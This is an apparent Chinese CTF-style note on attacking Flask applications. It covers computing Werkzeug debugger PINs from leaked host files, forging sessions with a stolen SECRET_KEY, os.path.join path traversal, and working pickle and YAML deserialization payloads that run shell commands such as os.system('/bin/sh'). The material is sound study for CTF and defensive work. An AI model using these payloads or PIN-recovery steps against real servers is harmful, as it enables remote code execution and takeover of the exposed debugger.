flask攻击相关笔记

Flask

SSTI

Flask SSTI,即模板注入,旨在利用相关模板引擎的特点,通过沙箱逃逸等技术进行攻击服务,获取隐私信息。

点击这里

PIN 码计算

简介

PIN是 Werkzeug(它是 Flask 的依赖项之一)提供的额外安全措施,以防止在不知道 PIN 的情况下访问调试器。

调试器 PIN 只是一个附加的安全层,以防您无意中在生产应用程序中打开调试模式,从而使攻击者难以访问调试器。

Werkzeug 不同版本以及 Python 不同版本都会影响 PIN 码的生成。

但是 PIN 码并不是随机生成,当我们重复运行同一程序时,生成的 PIN 一样,PIN 码生成满足一定的生成算法。

源码分析

Werkzeug 生成 PIN 码的核心代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
def get_pin_and_cookie_name(
app: "WSGIApplication",
) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]:
"""Given an application object this returns a semi-stable 9 digit pin
code and a random key. The hope is that this is stable between
restarts to not make debugging particularly frustrating. If the pin
was forcefully disabled this returns `None`.

Second item in the resulting tuple is the cookie name for remembering.
"""
pin = os.environ.get("WERKZEUG_DEBUG_PIN")
rv = None
num = None

# Pin was explicitly disabled
if pin == "off":
return None, None

# Pin was provided explicitly
if pin is not None and pin.replace("-", "").isdecimal():
# If there are separators in the pin, return it directly
if "-" in pin:
rv = pin
else:
num = pin

modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
username: t.Optional[str]

try:
# getuser imports the pwd module, which does not exist in Google
# App Engine. It may also raise a KeyError if the UID does not
# have a username, such as in Docker.
username = getpass.getuser()
except (ImportError, KeyError):
username = None

mod = sys.modules.get(modname)

# This information only exists to make the cookie unique on the
# computer, not as a security feature.
probably_public_bits = [
username,
modname,
getattr(app, "__name__", type(app).__name__),
getattr(mod, "__file__", None),
]

# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [str(uuid.getnode()), get_machine_id()]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num

return rv, cookie_name

其中 rv 为 PIN 码值。

从代码中分析得知,PIN 码的组成由以下几部分组成:

  • username:通过 getpass.getuser() 获取,是启动 Flask 的用户
  • modname:模块名,一般默认为 flask.app
  • appname:通过 getattr(app, "__name__", type(app).__name__) 获取,app 名,一般默认为 Flask
  • moddir:模块路径,flask目录下的一个 app.py 的绝对路径
  • mac:通过 str(uuid.getnode()) 获取,当前网络的 MAC 地址的十进制数
  • machine_id:通过 get_machine_id() 获取,/etc/machine-id 或者 /proc/sys/kernel/random/boot_i 中的值

信息获取

username

一般通过读取 /etc/passwd 文件寻找可能的用户进行爆破。

modname

默认 flask.app

appname

默认为 Flask

moddir

可以通过 DEBUG 模式下的报错信息获取。

mac

读取 /sys/class/net/eth0/address 获取 MAC 的 16 进制,然后转化为十进制即可。

不一定是 eth0,可能需要尝试爆破。

machine_id

在 Linux 平台下,为 /etc/machine-id 或者 /proc/sys/kernel/random/boot_i 中的值

在 Win 平台下,为注册表中 SOFTWARE\Microsoft\Cryptography 的值。

在 Docker 中,为 /proc/self/cgroupdocker 行后的十六进制字符串,例如 1:name=systemd:/docker/4e2d4390ee2a9b57df253521f44301973efc74e35a300a02b4e509d60989543b 中的 4e2d4390ee2a9b57df253521f44301973efc74e35a300a02b4e509d60989543b

计算代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import hashlib
from itertools import chain

username = 'flaskweb'
modname = 'flask.app'
appname = 'Flask'
moddir = '/usr/local/lib/python3.7/site-packages/flask/app.py'
mac = '2485410340366'
machine_id = 'e7589bcf11d8b1f072f28454074a932798a86f05827bdbd7707b3c14f75e756c'

def get_pin_and_cookie_name(username: str, modname: str, appname:str , moddir:str , mac: str, machine_id: str, high_version: bool=False):
probably_public_bits = [username, modname, appname, moddir]
private_bits = [mac, machine_id]

if high_version:
h = hashlib.sha1()
else:
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

return rv, cookie_name

PIN, cookie_name = get_pin_and_cookie_name(username, modname, appname, moddir, mac, machine_id)
print(PIN)

在 Python 不同版本中,<=3.7 h 采用 md5 算法;>3.7 h 采用 sha1 算法。在以上代码可以给予值 high_version=True 采用 sha1 算法。

session 构造

Flask 中的 session 是通过 secret_key 进行签名的,所以在构造 session 之前需要获取 secret_key。

可以使用脚本 flask-session-cookie-manager 加密解密 session 的 jwt。

也可以试图自己运行代码获取伪造 session 值。

一些巧妙利用

SECRET_KEY

SECRET_KEY 会被存放在环境变量和 config 中,可以考虑读取 /proc/self/environ 或者使用 env 命令。

其他的获取方式可以查看 SSTI 的文章内容。

os.path.join()

os.path.join() 函数用于拼接两个字符串作为路径,分隔符以系统指定分隔符为主。

但当两个目录为同级目录时,只会默认返回后一个字符串作为结果,例如

1
os.path.join('static', '/abc/cba')

需要注意,第二个目录需要是根目录才能被识别为同级目录。

还有一种利用是目录穿越,但需要注意的是 Python 的目录穿越只有 ../../ 的方式。

1
2
# filename = '../../flag'
os.path.join('/temp/pic', filename)

pickle 反序列化注入

基本原理

Python 的 __reduce__ 魔术方法正是 Python 类的反序列化方法,我们可以通过注入命令到 __reduce__ 方法中。

Python 要求 __reduce__ 方法返回一个函数和需要调用的参数((callable, [para1, para2, ...])),Python 希望的是通过 callable 和其参数生成该对象,但实际上我们可以利用这点变相调用漏洞函数。

1
2
3
4
5
6
7
8
9
10
11
12
import pickle
import os

class A:
def __reduce__(self):
a = '/bin/sh'
return (os.system, (a, ))

a = A()
payload = pickle.dumps(a)
print(payload)
# pickle.loads(payload)

当运行 pickle.loads(payload) 时,我们将进入 sh。

opcode

pickle 的 opcode 详解如下

opcode 描述 具体写法 栈上的变化 memo上的变化
c 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) c[module] 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module] 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S'xxx'(也可以使用双引号、'等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx 获得的对象入栈
I 实例化一个int对象 Ixxx 获得的对象入栈
F 实例化一个float对象 Fx.x 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n pn 对象被储存
g 将memo_n的对象压栈 gn 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新

此外, TRUE 可以用 I 表示: b'I01\n'FALSE 也可以用 I 表示: b'I00\n' ,其他 opcode 可以在pickle库的源代码中找到。 由这些opcode我们可以得到一些需要注意的地方:

  • 编写opcode时要想象栈中的数据,以正确使用每种opcode。
  • 在理解时注意与python本身的操作对照(比如python列表的append对应aextend对应e;字典的update对应u)。
  • c操作符会尝试import库,所以在pickle.loads时不需要漏洞代码中先引入系统库。
  • pickle不支持列表索引、字典索引、点号取对象属性作为左值,需要索引时只能先获取相应的函数(如getattrdict.get)才能进行。但是因为存在sub操作符,作为右值是可以的。即“查值不行,赋值可以”。pickle能够索引查值的操作只有ci。而如何查值也是CTF的一个重要考点。
  • sub操作符可以构造并赋值原来没有的属性、键值对。

使用 pickletoolsdis 函数可以展示更易识别的序列化后的内容。

利用 opcode 我们可以更精细化地做事情。

拼接 opcode

仅需把第一个 pickle 流结尾表示结束的 . 去掉后直接拼接第二个 pickle 流即可。

全局变量覆盖

1
2
3
4
5
6
7
8
9
10
11
12
import secret
import pickle

opcode = b'''c__main__
secret
(S'name'
S'qsdz'
db.'''
print(f'[before] {secret.name = }')
output = pickle.loads(opcode)
print(f'{output = }')
print(f'[after] {secret.name = }')

opcode 解析:

  1. c__main__\nsecret\n,读取 __main__ 中的 secret 模块
  2. (,标记一个 MARK
  3. S'name'\n,生成字符串 'name' 入栈(并是标记位)
  4. S'qsdz'\n,生成字符串 'qsdz' 入栈
  5. d,将栈-2和栈-1位置的值按 key-value 对组成字典,然后入栈字典
  6. b,将 key-value 对以 key=value 的形式赋值属性
  7. .,结束反序列化

函数执行

能进行函数执行的 opcode 有三个,Rio,所以有三种方向构造

R
1
2
3
4
b'''cos
system
(S'whoami'
tR.'''
i
1
2
3
4
b'''(S'whoami'
ios
system
.'''
o
1
2
3
4
b'''(cos
system
S'whoami'
o.'''

实例化对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import pickle

class User:
def __init__(self, name, age):
self.name = name
self.age = age

data = b'''c__main__
User
(S'qsdz'
S"114514"
tR.'''

a = pickle.loads(data)
print(a.name, a.age)

其他

为了解决pickle反序列化的问题,官方给出了使用改写 Unpickler.find_class() 方法,引入白名单的方式来解决,并且给出警告:对于允许反序列化的对象必须要保持警惕。对于开发者而言,如果实在要给用户反序列化的权限,最好使用双白名单限制 modulename 并充分考虑到白名单中的各模块和各函数是否有危险。

由于 pickle “只能赋值,不能查值”的特性,唯一能够根据键值查询的操作就是 find_class 函数,即 ci 等 opcode,如何根据特有的魔术方法、属性等找到突破口是关键;此外,在利用过程中,往往会借助 getattrget等函数。

yaml 反序列化

1
2
3
4
!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- [ __import__('os').system('cat /fllaagg_here > templates/admin.html') ]